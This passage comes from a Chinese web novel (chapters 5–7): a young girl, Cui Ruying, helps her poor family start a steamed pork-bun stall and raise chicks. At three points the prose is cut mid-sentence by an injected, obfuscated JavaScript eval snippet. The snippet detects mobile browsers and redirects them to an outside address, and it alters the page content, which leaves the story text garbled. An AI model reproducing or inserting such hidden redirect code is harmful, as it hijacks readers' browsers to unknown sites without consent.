崔如英把包子往锅里放，二丫就在下头烧火，许娘子又回屋去了，她还没说马上要去侯府做奶娘的事儿，她想等崔大山回来再说。 不过肉都买了，二丫估计也能猜到。 崔如英道：“娘，一会儿蒸熟了，我可得先吃两个。再给刘婶儿送几个去吧，这不多亏了她。” 十八文钱能买九个肉包子，但自己买肉，葱和水放的多，大的小的都有，崔如英数着，有八十多个。 许娘子点点头，女儿还没吃早饭，本来就是应允了的事儿，先吃两个就先吃两个，刘婶儿那边帮了忙还是大忙，送几个过去也是应该的。 崔如英这回哪儿都没去，就守着锅，许娘子让她把烤红薯热一热她都不愿意。灶膛里火光跳跃，热气透过锅边围着的布条冒出来，熏得人脸热。 二丫在旁边添火，也不知道烧了多久，鼻尖都能闻到香味儿了，崔如英这回舔了舔嘴：“姐，还得多久？” 二丫道：“蒸包子不得蒸一刻钟多。” 五郎也进来蹲着，豆丁大点的人，眼睛睁得大大的。 崔如英都好几年都不做饭了，也不知道这回能不能成不成。不成应该不至于挨打，但是肯定少不了被骂几句。 崔如英就这样等啊等，时不时就问一句，“姐好了没？” 二丫估摸着时间，又看了一眼灶膛里面的柴火，“烧干就差不多了。” 崔家不缺木材，火烧得旺，崔如英能听见蒸屉下面的水咕噜咕噜冒泡的声音。 这会儿包子的香味儿已经飘得到处都是了，还有一锅，一会儿再蒸。 这会儿锅里还有热气，要是揭锅得把人烫伤了。 许娘子也出来了，怀里抱着六丫，崔如英觉得等的时间可比包包子漫长多了。 等啊等终于等到二丫把围在锅边的布条收走，大锅揭开，看那包子的样子，比放上去时大了不少，面皮已经被汤汁浸成了酱色。 面香肉香浓郁，热气扑面而来。 崔如英欢喜道：“娘！” 许娘子：“快吃吧快吃吧，二丫五郎，你俩也尝尝。” 崔二丫咽咽口水，“我等爹回来再吃。” 崔如英懒得管她，找了个碗挑了个大的，包子是最热的时候。她先吹了吹，然后使劲咬了一大口，舌尖免不了被烫了一下，但是面软馅儿香，带着丝丝甜酱味儿。 水嫩多汁，好香！ 二丫给五郎捡成一个，他更是狼吞虎咽。 许娘子看着两个孩子吃的这么香，对二丫道：“也中午了，你先吃一个。” 二丫这才点点头，捡了个小的，放到嘴边轻轻咬了口，她没吃到馅儿，但是吃到了浸着油和汤汁的包子皮，又香又软，好吃的不得了。 二丫往许娘子那边递了递，“娘你尝尝，可好吃了！” 许娘子本来不想吃，但轻轻咬了一口，眼睛一亮，“你这儿咋做的。” 崔二丫道：“我就活了个面，三丫弄的馅儿。” 崔如英都快把一个包子吃完了，她抽空道：“有一回出去看人卖包子的这么弄，我想两斤肉一家吃，就要多薅了点葱。” 崔家并不大，院子也小，三畦菜地种了葱、白菜、油菜这些，还有些萝卜种子，这会儿还没出芽呢。 许娘子往外望了一眼，葱地的确被薅秃了一大片，她道：“你也间着薅，光可着一个地儿！” 崔如英吃完一个包子胃里才好受一点，二丫的包子小，但慢慢尝还剩一半呢，趁着锅热，把包子捡到盆里，加点水好蒸下一锅。 崔如英又从锅里拿了一个，这回慢慢品尝，“那不快一点嘛。” 崔家蒸包子的香味飘得到处都是，崔如英吃完两个，由许娘子捡了五个包子，让她给刘婶儿家送去。 这些事交给崔如英办最放心。 刘婶儿知道事成了，也高兴，牵个线不费劲，见着包子还推脱不要，崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800768|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家啥样她不是不知道，但是崔如英坚持道：“婶子，我们忘了谁也不会忘了婶子您的，东西也不多，您尝尝我和我姐的手艺。” 刘婶儿这才接过，“那我得好好尝尝。” 街上的香味儿浓郁，她还以为谁家做饭呢，原来是崔家。 中午崔大山带着儿子赶着回来，他是大男人，饭量也大，要是真可着劲儿吃，再多包子也不够他吃，尤其今天的包子这么好吃。 还幸好还炖了大骨汤，面多蒸了些馒头，崔大山挑了不少萝卜吃。 得知是崔如英做的，还愣了愣，“三丫都会做饭了。” 崔如英道：“就这个会，别的还不会。” 许娘子说道：“三丫今儿陪我过去，跟陆三娘子说了好多话，陆三娘子一高兴就给了赏钱，还说要我带着三丫在侯府待些日子。” 崔大山觉得这是好事，“三丫多吃点。” 崔如英今天已经吃了四个包子了，她才七岁，这会儿觉得胳膊腿都疼，“爹娘，我累，想睡觉去。” 许娘子摸了摸崔如英的脑袋，见也没发烧就让她去睡会儿。 那么早起来，肯定没睡够呢。 这一睡就是半天。 许娘子时不时进去摸摸崔如英的脑袋，见着不烧才放心，这怕是吃多了，上午走那么半天又累。东西再好吃以后也不能吃这么多，一个下午，四郎五郎也在床上睡了好久，说到底，还是家里穷闹的。 晚饭许娘子也没叫崔如英。 中午剩的骨头汤，带回来的烤红薯，又炒了个白菜。剩下的包子还有不少，留着明个中午再吃，不过许娘子给崔如英留了个，就在锅里坐着，等醒了还能吃。 吃过饭，二丫把碗筷刷了。 夫妻俩在屋里说话，许娘子问崔大山包子好吃不。 崔大山道：“当然好吃啊。” 他今天都没吃够，要是卯足了劲儿吃，估计都剩不了几个，他一个人就能吃十个。 崔如英中午吃了四个，两大两小，崔大山才吃三个。 “要是拿出去卖，应该也能卖出去。” 崔大山做木匠活,累一天一个月也才五钱银子，还是给别人做事。大郎跟他爹学手艺，日后也就这样。 可今天从街上回来，还没到中午呢，包子摊上的包子就全都卖完了。 许娘子是吃过那个肉包子的，没中午的好吃。 他们要是去卖包子，就拿中午的两斤肉来说，一个两文钱还能卖一百来文呢，一天一百来文，一个月那不得三四两银子。 从前没手艺，崔大山和二丫做的也不好吃，如今能做的好吃了许娘子就想多一点。 她去侯府是不假，一个月有三两银子，做的好没准儿会拿赏钱。 可是这些钱也不能乱花，要留着买房子，大郎要成亲，以后还有四郎五郎呢。 奶娘也不能总做，她今年都三十了，还能再生孩子也没如今奶水足。 “你说三丫吃个包子，睡一下午了都，家里孩子都想吃肉。” 崔大山道：“娘子，是我没本事，不过我都听你的。” 崔如英醒了，听到的就是这句话，什么听娘的，天怎么都黑了。 许娘子道：“先看看再说，咱们没做过生意，要是生意那么好做，不都去做生意了。” 离去侯府还有十天呢。 崔如英坐起来，天已经黑了，家里没点灯，隔着一个木板子，她听见爹娘在说话月光从前后窗子透进来，崔如英喊了声娘。 许娘子从床上下来，又支使崔大山把包子拿来，“三丫醒了，都睡一下午了。” 崔如英打了个哈欠，“娘，要做什么生意呀？” 5. 第五章 崔记包子 许娘子从木头隔板外过来，坐到小木床边，先摸了摸崔如英的脑袋，她道：“没啥生意，饿不饿？让你爹给你拿了个包子。” 崔如英点了点头，她都不知道自己睡了这么久，仔细感受一下，肚子还真有点饿。 崔大山把包子拿了过来，因为一直在锅里，这还温热着呢，不过热了之后皮有些软，不如刚蒸出来好吃，一个包子吃完，崔如英差不多饱了。 崔如英差不多能猜出，她娘是想做包子生意。 因为上午回来看见卖包子的小摊贩把包子全卖光了，而且做生意都是从小本买卖开始做，本钱少，亏钱也能承受得起。 这不刚有二两银子。 至于从前没想过，那是因为家里做菜的手艺不好，做的并不好吃。包子谁家都会做，可不见得谁家都出去卖。 做生意好呀，比埋头做木工活儿强。 再说了，当奶娘不是长久之计。许娘子今年都三十了，在侯府当奶娘得一年多，还得养养身子，到时都三十四五了，都已经生了六个，可不能再生了。 崔如英道：“不告诉我我也知道，娘想去卖包子。” 天黑透了了，月光洒进来，她就着光亮下床去拿柳枝，得刷牙，不然明早嘴都臭了。家里人只有她有这个习惯，毕竟一口好牙才能吃嘛嘛香，不过市井人家没那么多讲究，为此许娘子没少说她。 许娘子只见过伯爵府的人这样做，不过今天崔如英立了大功，说要星星给星星也不为过。 这时节夜里还冷，许娘子让崔大山舀点温水来，“你知道什么。” 崔如英刷了牙，抹了把脸，许娘子这回让崔如英快点睡觉，天黑了不睡觉做什么，点着灯还费灯油钱。 她坐在床上，道：“娘，想做生意就做呗，咱们也卖包子去。” 许娘子点了点崔如英的额头，“做生意哪儿那么简单，说卖就卖” 崔如英是小孩子，啥话都能说，她道：“咋不是说卖就卖，爹能做蒸屉，就差买面和肉，要是怕亏钱，咱们就少买一点呗，先试试能不能卖出去再说。” 许娘子的确有这个念头，但是她和崔大山一辈子本本分分，做的最出格的事就是去当奶娘，可是做奶娘的时候也恪守本分，不该做不该问的事，一概不做不问。 真让她去做生意，许娘子觉得自己做不来这个。 像街上的摊贩一样当街叫卖，这个许娘子就不行，她张不开嘴。 崔如英却拉着许娘子不让她走，“娘，反正去侯府还有十天呢，咱们先试试，我可以去叫卖呀，只要一个月赚的比五钱银子多，那就是赚的。” 毕竟崔大山做木匠活一个月还有五钱呢，要是让崔大山把木匠活辞了，一个月赚的比五钱少，那就是亏钱。 许娘子被她说的也不知该怎么办，心里又急又恼，“行了行了，天黑了不睡觉，你再不睡，就有坏人把你抓走。” 崔如英才不怕这个，她都多大了还用这个骗她，不过她还是往床上一躺，把被子一蒙，“睡了睡了，这就睡了。” 小孩觉多，别看崔如英睡了一下午，这没一会儿又睡着了。 崔如英自是不知道许娘子这一夜都没怎么睡，第二天一大早就去街上的粮食铺子买了面粉，面粉七文一斤，买了十斤。 崔如英醒的时候，许娘子已经回来了。 多了钱，还买了些调料。 菜倒是不用操心，因为家里都有，一夜过去小葱又长高长粗了不少。 许娘子勤快，锄了锄草，院子里本来养着几只鸡，但许娘子坐月子，崔大山全给杀了，为了喝鸡汤还跟邻居家换了几只，现在笼子还空着。 今天还是许娘子坐月子的第三十天，也是六丫满月，虽说孩子多了也不想着办，但是中午的时候刘婶儿过来了。 刘婶儿拿了六个红皮鸡蛋，“六丫满月，我过来看看。” 家里下的鸡蛋算起来还不到一文钱一个，那五个包子外面卖得两文一个，不过刘婶儿觉得这包子比外面卖的好吃。 人情往来就是如此，你来我往走动着，关系才能越来越好 刘婶儿过来问了问许娘子去侯府当奶娘的事儿，许娘子也都一一说了，还夸了夸崔如英。 刘婶儿道：“我看三丫也是个能说会道的，这不给你挣了脸面。” 两人说了一会儿话，刘婶儿要走，许娘子留她吃饭，刘婶儿道：“我这还得回去做饭呢，你们吃。” 许娘子又给装了两个包子，“拿回去给孩子吃，三丫，送送你婶子。” 崔如英把人送到家门口，跑回来看见许娘子在院子里薅小葱。 许娘子薅葱和崔如英不一样，捡着长得密的间着薅，这样其他的才能长得快一点儿。 崔如英笑着凑过去道：“娘，你薅葱呢，还买了面，要包包子。” 许娘子本来想呵斥要你话多，但是一想包子馅儿还是崔如英做的，便点了点头，“娘想明天早上去街上试试。” 说实话，卖包子也不容易，得大早起去买肉剁馅儿，发面蒸包子蒸好了再拿去卖。 也是辛苦钱。 再辛苦能赚钱就行。 那天许娘子和崔如英出门，那么早就有人摆摊了，她也得那么早去才行。 自己倒还好，吃苦也没事儿，可三丫才七岁。 许娘子问道：“那么早你能起来吗？” 崔如英心道这是哪儿的话，“肯定能，那让二姐在家看六丫他们，我跟娘去不就成了。明早早点起来，我跟娘去买肉活馅儿。” 许娘子笑了笑，又问：“做馅儿还需要什么？” 崔如英数着道：“需要大酱，姜蒜，花椒……” 既然出去卖，那每天的包子味道得一样，多少馅儿放多少葱多少水，蒸多大包子，可不能这个大那个小，客人看了不得打起来。 许娘子没做过生意，不懂这些，忙活了一下午，还得进屋喂六丫，也是腰酸背疼。她心里盘算着，姜蒜家里还有呢，花椒也有，面粉本钱就七十文了，葱是家里种的，不算。 明早怎么也得买四斤肉，这就一百来文了…… 等着夜幕降临，许娘子心里还有愁绪，家里孩子太多了，生了六丫后有人还问过她，要不要送出去一个，她哪个也舍不得。 天黑一家人睡得早，次日一早，崔如英是在剁猪肉馅儿的声音中醒过来的。 天还没亮呢，窗外月亮倒是亮着。 崔大山怕吵到别人家，案板下面垫了稻草，他昨天把蒸屉给做出来了，拿竹条编的，三个大屉，算上家里的，一锅就能蒸七八十个。 先蒸一锅，让许娘子跟崔如英拿出去卖，然后他在家蒸另一锅，蒸好了再给送过去。 南街离家里不远，头一回还不知道啥样，就用崔大山运木材的小推车给推过去就成了。 要是生意不好，包子就家里人吃，崔大山上次没吃够，这回能卯足劲儿吃了。 许娘子已经把面发上了，见崔如英醒了说道：“正想去叫你呢，快给娘看这馅儿咋弄。” 昨天崔如英说了两遍，许娘子还是没记住，咋还又炒又放水，她和崔大山俩人忙活还手忙脚乱的。 崔如英去洗了手，“娘，今天我弄吧，你先看着。爹，你也看着。” 生意真好的话，等她和许娘子去侯府，崔大山就得把蒸包子的事儿担下来。 做这馅儿也费事，一半拌葱一半放酱炒了，然后再以葱姜花椒水溶进去。 因为有炒过的肉末，所以不会成一个丸子，显着肉馅儿还多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800769|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 包好的包子还得在锅里就着温水里坐一会儿，让面发发，这样蒸出来后才又大又软。 崔大山一边看一边挠头，这一时半会儿还真记不住。难怪有的摊贩就在街上做，都不怕别人把方子给偷了去。 崔大山寅时就去买肉了，留许娘子在家发面，四斤肉八斤面，多的面就蒸馒头。 过了一会儿崔二丫也出来，啥话没说，揉着眼睛去灶膛烧火了。 崔大山见厨房帮不上忙，就摸着黑去擦车，卖吃的车也得干净点。 而许娘子在屋里转了两圈，最后把六丫抱起来喂了喂，出来又问包子好了没。 崔如英能闻到包子的香味，但烧火的是二丫，她也不知道好了没。 崔二丫道：“把这把柴烧完就差不多了。” 四屉包子，得比平时多烧一会儿，不然上不去气。 快到卯时，二丫看灶膛的火灭了，估摸着道：“应该差不多了。” 锅盖揭开，包子比那次蒸的还好，一个个又大又圆，一个挨着一个一个挤着一个，汤和油透过包子皮，让包子看起来更加油亮。 许娘子看看了下面几屉，也不错，笑着招呼崔大山把锅搬到车上捆好。 崔如英回屋里拿油纸，许娘子又把钱匣子拿上，夫妻俩推车往街上走。 天还没亮呢，巷子里安静极了，邻居家都黑着，走了两步，崔如英听见狗叫，给她吓了一跳。 “三丫，上来，爹娘推着你走。”许娘子这会儿心潮澎湃，心里就像包子一样冒着热气。 崔如英往车上一坐，“娘，还有多久呀。” 家里二丫看着火呢，崔大郎看着弟弟妹妹，一会儿崔大山还得回去。 这样的日子也好，一家人都在一块儿。 许娘子：“快了，一会儿到了你先吃个包子。” 崔如英却摇摇头，“娘，我今儿想喝豆浆吃油条，成吗？” 总吃包子也吃够了，再好吃也不能连着吃三顿，前天中午吃了四个，晚上一个，昨天中午吃两个，再吃她都成包子了。 许娘子咬咬牙，“只要咱们包子能卖出去，今儿你想吃啥就吃啥。” 街上摊贩已经开始摆摊了，卖阳春面的摆上了桌子椅子，来吃早饭的多是一大早去上工的，来不及在家里吃，有个桌子吃起来也方便。 这条街热闹，除了卖早食的，还有来这卖活鸡鸡蛋的。 这个时辰衙门的还没上职，所以连摊位费都不用交，不过要是待太久，等着衙门的人过来，不仅得被赶走，还得交银子罚钱。 崔家人来的不算早，位置也由不得他们挑，就在卖烧饼和卖豆浆油条的中间挤了块巴掌大的地方。 摆了两条凳子，把蒸锅架在上头。锅盖揭开，白胖的包子皮，有的浸了褐色的酱汤。 行人路过，来去匆匆。 许娘子原本心潮澎湃，但这会儿看着这么多人，又不知道该怎么办了，想叫卖让人来买包子，可喉咙里就跟塞了棉花似的，实在喊不出来。 嘴巴张张合合，崔大山也是如此，许娘子看着女儿，“三丫……” 崔如英人小声音也甜，大声喊道：“卖包子喽，崔记包子，崔记酱肉包！好吃的酱肉包！不好吃不要钱嘞！” 崔如英连着喊了三遍，还对路过的人道：“大哥大叔，要不要尝尝酱肉包。” 做生意卖东西就得厚脸皮，光东西在这儿摆着，别人路过，只知道是包子，可整条街光卖包子的就有三家。 许娘子还担心着，可生意这就来了。 一个壮汉过来问：“小姑娘，你说不好吃不要钱的？” 崔如英笑着道：“您就尝好了吧，我们这第一天开张，肯定不会砸自己招牌。大叔你拿几个？” 6. 第六章 抓小鸡 壮汉道：“给我装两个。” 崔如英对许娘子道：“娘，快拿包子收钱呀。” 两个包子用油纸装着，许娘子递给了壮汉，崔如英道：“尝着好吃下次再过来，我们家包的又大馅儿还多。” 包子正热，壮汉咬了一口，没说好吃不好吃，但没提不好吃倒找钱的事儿，大步流星地走了。 这就四文钱了。 万事开头难，有崔如英叫卖，生意还不错。 一共四屉，来这么一会儿已经卖了八个了，一共六个人来买，比许娘子想的多。 也有人嫌包的样子不好看，指着包子道：“这都快破皮儿了。” 崔如英解释着，“婶子，这崔记酱肉包就是这样，一咬流汤，满口留香，从别处还吃不到这个味道呢。这包子皮都快挤破了，婶子也能看见里面肉馅儿多多了吧。” “行吧行吧，给我来一个，捡大个的。” 许娘子挑了个大的递过去，那婶子也没急着吃，揣在怀里，大约是要带回去给儿子的孙子带回去。 崔大山就在旁边傻愣愣站着，想要装包子可是有许娘子，想要收钱，可有钱匣子，“娘子，要不我先回去拿包子。” 许娘子笑着点点头，“回去吧，你回去吃点东西。” 包子已经卖了九个。 街上热火朝天，也有人故意逗崔如英，“小姑娘，这么早就来帮家里卖包子呀。 崔如英道：“那还不买两个尝尝，崔家酱肉包，尝过都说好。大哥看旁边还有卖豆浆的，一个包子，一碗豆浆，吃了多舒坦呀” “成，来一个吧。” 买包子的人越来越多，只不过没有崔如英想象中的那种咬了一口惊为天包，然后一传十十传百，大多是带着包子去上工，几口吃完，来去匆匆的。 生意说好算不上好，比不上旁边卖豆浆油条的人多，但也不算差，不时有人听着崔如英的叫卖声过来，买上一两个。 在这儿一刻钟多，已经卖了半屉多了。 崔家包的包子大，一屉装了十七八个，许娘子看着女儿叫卖的用力，也张开嘴在后面喊：“尝尝包子，崔家的酱肉包，崔记肉包子！” 喊这些的时候许娘子面红耳赤，不过女儿都这么卖力了，她不想让女儿这么辛苦。 “三丫，你去吃根油条，喝碗豆浆去。” 就在旁边，还有桌椅。 崔如英不干，她想卖完再吃，“一会儿吧，都尝尝崔家的酱肉包，好吃的酱肉包。又大又香，比脸还圆，比手还大！” 为何喊的时候要带个崔家，万一人家觉得好吃，下回还能找过来，到时候一想起好吃的包子，就想到他们家的酱肉包。 一来二去回头客就多了。 崔如英只管叫卖，许娘子装包子盯着钱匣子，一个个铜板越来越多，她数着卖了多少个，等第三屉卖空时，许娘子算着，今儿差不多回本了。 这回许娘子担心的就不是能不能回本儿了，而是担心都过去这么久了，崔大山怎么还不来？ 这男人办事儿就是磨蹭，要是一会儿包子卖完了，崔大山还没过来，人家客人想吃都吃不到了。 第四锅又卖了五个包子，许娘子才看见崔大山带着二丫推着车过来。 崔大山看着空了的竹屉，脸上一喜，忙把车上的包子给卸下来 崔如英对众人喊道：“大家慢慢来，包子还有呢，想吃多少有多少，不要抢不要挤，一个一个买。” 旁边卖豆浆的老板一脸狐疑，也没那么多人呐，咋就抢了挤了。 崔如英从前卖东西也这样干过，这样能显着东西好，来买的人多。 人总是从众，看别人买自己就想买，不管东西好不好，势得造出去。 崔二丫在旁边看着，她对家里卖包子的事儿一直半解的，反正爹娘让她做啥她就做啥。 天慢慢就亮了，街上人多了些，生意也比刚来那会儿好。 空了的竹屉就放车上，最后一屉剩下几个，这会儿人也少了，许娘子打算给崔大山吃两个，然后再给家里孩子分分。 这一大早上出来，早饭还没吃，崔大山还得去木匠坊上工。 不过答应崔如英的事儿得做到，许娘子从怀里数了两个铜板出来，“三丫，你去旁边喝豆浆，吃油条去吧。” 看了看二丫，许娘子又加了两个铜板，“带你姐也去。” 二丫道：“娘，我吃包子就行。” 崔如英把钱往怀里一揣，“那我自己去。” 卖豆浆的老板油条是现炸的，他得一直等到过了辰时才收摊。看着崔如英，不禁问：“你家包子那么好吃咋不吃包子呀？” 崔如英道：“家里的好吃还得卖钱呢，大叔有空也去尝尝。” 许娘子是照着包子钱给的，但一碗豆浆加一根油条才一文钱，要说好吃，肯定是包子好吃，但是崔如英今天就想吃这一口。 她都多久没吃过豆浆油条了，豆浆热乎乎的，这个时代可没什么科技，全是今早上现磨出来的，用沸水煮着，吹一吹还能起豆皮儿。 油条是现炸的，金黄酥脆一大根，全是面本钱不多，但是上工的人爱吃这个。 比肉包子实惠，还能吃饱。 豆浆油条端上来时把许娘子跟崔大山他们已经收拾好摊子，准备回去了，许娘子道：“三丫，吃完赶紧回去，不许乱跑啊。” 崔如英点点头，“娘你放心回去吧。” 她把油条掰成一段一段的，全给泡在了豆浆里，满满一碗白花花金灿灿，闻着就香。 先喝一口豆浆，又舔干净嘴边的白沫，这才尝了一口泡过豆浆的油条，外酥里软还不腻。 这和吃肉不是一个香味，一文钱花了，还剩三文，明儿还能来吃一天，剩下两文钱就是她的私房钱了。 崔如英埋头猛吃，因为人小，坐在椅子上腿还一晃一晃的，正吃着，听有人问：“哎，刚才那卖包子的呢？就是那个崔记包子。” 崔如英抬起头一看，是那个说包子样子不好看，都快破皮儿了的婶子。 崔如英举了举手，“这儿呢，这儿呢，婶子我们包子卖完了，我爹我娘都回去了。你要想吃得明天了。” 那婶子猛的拍一下腿，哎呀，来晚了，她就买了一个包子回去，孙子吃了还想再吃，紧赶慢赶回来还是晚了。 崔如英道：“明儿我们还来呢，您就记着崔记包子就行，不然今儿先买点油条豆浆吃，我吃他家也可香啦。” 做生意与人为善，虽然没啥太大用处，但是省着别人眼馋。 那婶子最后也没买，崔如英吃饱喝足，放下一文钱，赶着回家。 人来人往中，看着做什么的都有，巷子口有人坐在一起说话，看见崔如英还说道：“三丫回来啦。” 崔如英一个一个叫完，拔腿往家里跑。 崔大山和崔大郎已经上工去了，二丫在院子里洗衣裳，一家人的衣裳也得洗好大一会儿，崔如英懒得洗，就当没看见直往屋里跑。 四郎五郎没在院子里，屋里也见没人，不知道去哪了。 许娘子正抱着六丫喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800770|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶，崔如英摸了摸鼻子，“娘，我回来了。” 大约是因为崔如英从小就有主意的缘故，再加上这回卖包子也出了不少力，明明比二丫还小三岁，可是有啥事儿了，许娘子就想着跟她商量。 许娘子道：“正好，你数数匣子里有多少钱？” 崔如英道：“这还用数吗？一共蒸了八屉包子，三屉十八个，五屉十七个，拿回来了六个，要是钱没收错，里面应该有二百六十六个铜板。” 许娘子才数过了，笑着道：“是这么多，娘昨天买面花了七十文，今天卖肉花了三十六文，面还剩两斤，算上其他零零碎碎的，也就一钱银子。咱们今天赚了一百六十六文。” 这要是天天去，一个月下来也有三四两银子了。 许娘子从来没想过做生意能赚这么多钱，加上她在侯府赚的，一年下来也有几十两了。这样她去侯府也放心，家里能攒些钱，以后日子好过点。 不过累也是真累，一大早上就起来，又是卖又是吆喝，她都受不住。 许娘子道：“三丫，你再睡会儿去。” 崔如英刚吃饱，这会儿还真有点困，她把三文钱往床板下一塞，要是二丫肯定老实交回去，但是崔如英不想交，攒个私房钱多不容易呀。 后头这一觉直接到了日上三竿，屋外清风吹过，她坐起来看见窗外衣服已经晾上了，正往下滴着水。 也不知道是哪家的鸡狗在叫，吵人得很。 崔如英喊了声娘，许娘子道：“你醒了，看着六丫，娘出去买东西。” 家里白面不够了，明天做包子还得用面呢，还得赶紧出去买，姜蒜也得买一点。 崔如英：“行吧。” 让崔如英偶尔看一会儿还行，总看肯定是不行的。六丫在睡觉，崔如英在一旁守着，看着好像比前几日大了点。 崔如英也就看着，但一个多月大的孩子不会翻身不会爬，大部分时间都在睡觉，也就是等她醒了换个尿布。 但洗尿布的活儿肯定轮不着她。 至于中午吃啥，崔如英猜大概是玉米面的饼子，连着两天吃了肉包子了，就算赚了钱许娘子也不会可着劲儿花。 早上买肉给了根大骨头，用来炖菜合适。 崔如英早上吃的心满意足，也不在乎中午吃什么，如今家里有赚钱的生意，她就可以放心跟着许娘子去侯府了，再不济还能回来卖包子呢。 许娘子也是这样打算的，这些天就让崔大山崔大郎帮忙，木匠坊的活先不辞着，以后大郎想学手艺能让崔大山教。 等着她们去侯府的前两日再把木工活辞了，专心卖包子。 一门手艺足够养活一家人了。 许娘子还准备扯块布，给崔如英做身新衣裳，去侯府还是得体面点儿，再给崔大山做一身，卖东西还是干净点好。 这些事儿足够许娘子忙活了。 崔如英没带过孩子，四郎五郎出生时，她还小呢，这会儿也新奇，忍不住拉了拉六丫的手。 那手可真小，脸也小，哪儿都小。 崔二丫进来时，看见小妹妹眉头蹙蹙，鼻尖耸着，崔如英在床边伸手戳来戳去，她忙道：“我看就行了，你快出去玩吧。” 崔如英去了院子，这几天没下雨，她就给地浇浇水。 这边等着，门口有动静，应该是许娘子回来了，她出门一看，许娘子背上背着一袋子面，手腕挎着个竹篮子，里面传来叽叽喳喳的声音。 崔如英往里一看，一堆毛茸茸正伸着脖子叫唤，“娘，你抓小鸡回来啦！” 7. 第七章 阳春面 家里原来有六只鸡，但许娘子坐月子，崔大山全杀了炖着吃了。那天刘娘子过来拿了六个鸡蛋，许娘子放鸡蛋的时候发现家里不剩几个鸡蛋了，这才又琢磨起养鸡来。 她选了十二只鸡，看着都是母鸡。 养大一些能下蛋，家里人多，就算不拿出去卖，也够孩子们补身子。 若非赚钱了，许娘子只打算抓六只，她看鸡不错，今天还赚了钱，这才一下子抓了十二只。 许娘子：“正好碰见了，你看这鸡多壮实。四郎五郎呢？让他们去地里逮蚂蚱抓虫子去。” 四郎五郎一个四岁，一个两岁，要么在院子里玩泥巴，要么出去跟巷子里的孩子打仗玩儿，抓蚂蚱虫子正合适，还省着总在外乱跑。 崔如英看着小鸡仔毛茸茸的好可爱，比刚出生的小孩儿还招人稀罕，这养大了，就能做成红烧鸡鸡公煲黄焖鸡，这样看着更可爱了。 崔如英：“娘，我去扫鸡笼子！” 许娘子说道：“这个不急，这会儿还天还冷呢，早晚都得放在屋里，不然得冻死。” 马上就要去侯府了，许娘子得为家里打算。 今儿出去还没来得及扯布呢，等明儿出了摊再说吧。 许娘子都觉得自己这两日手大，钱一下子就花出去了。 许娘子打算明天早上多做些包子，这样赚的钱还能多点儿，今儿收摊早，明天再去，今天尝着崔家包子好吃的兴许还来，买的人会更多。 不过许娘子是个稳妥的人，就打算多和两斤面。五斤肉馅十斤多的面，能多蒸两屉包子。 许娘子一回来看六丫就不用姐妹俩操心了。 二丫也稀罕小鸡仔,去地里拔了些被虫子咬过的白菜叶子,剁碎撒在篮子里。从前养鸡没吃完的饲料家里还有，只不过鸡仔太小，得烧热水泡着吃。 崔如英在一旁看着，兴致勃勃的，二丫看了看崔如英，欲言又止的。 崔如英：“姐？” 二丫道：“三丫，我教你喂鸡，你教我包包子的吧。这样等你和你娘去了侯府，我也能帮忙。” 崔如英赶紧摆摆手，她没想喂，“姐，我就看看，我跟娘一走，家里肯定你挑大梁呀，你着啥急。” 要不怎么说人二丫老实呢，要是崔如英肯定想着，都走了肯定得让她帮忙，能拖到最后绝不早做。 二丫一听，也是这个道理，一想自己挑大梁，那股气就油然而生了。 二丫：“谁让我是当姐姐的。” 家里叽叽喳喳的，中午饭简单得很，玉米面的饼子，骨头汤炖白菜。 冬天囤的白菜多，一直够吃到四月份的，等白菜吃完，别的菜就长出来了。 下午许娘子就去地里薅小葱，经过一天，小葱好像又大了点，就和刚出生的六丫一样，嗖嗖长。 因为明儿早起要出摊儿，所以崔家一家八口，晚饭比平日早，睡觉也比平日早。 天刚黑下来就全躺好了，早早睡了才能早早起来，次日一早，崔如英是被许娘子叫起来的。 猪肉已经剁好了，小葱切了一大盆，葱姜花椒水也没用崔如英操心。 但还得等着崔如英做馅儿，许娘子和崔大山昨天看崔如英活馅儿，好像有那么个意思，可还是觉得差点啥，也不敢下手。 崔如英打了两个哈欠，这会儿刚寅时，今天不知怎么回事儿月亮还藏起来了，外面伸手不见五指。 许娘子怕做这个不干净，点了两盏油灯。 灶膛里柴火劈里啪啦的，崔如英一步一步地教，“娘，肉馅儿的一分为二。一半做生馅儿，一半放面酱、酱油给炒熟了。因为咱们的酱是咸的，所以得加糖，两勺面酱一勺糖，一斤肉馅儿两勺酱。” 崔如英回头，看许娘子和崔大山听的极其认真，她好像记起自己刚长大时，许娘子温柔地教她说话走路。 虽然崔如英不用教，但那时许娘子笑得很温柔，她一直记着。 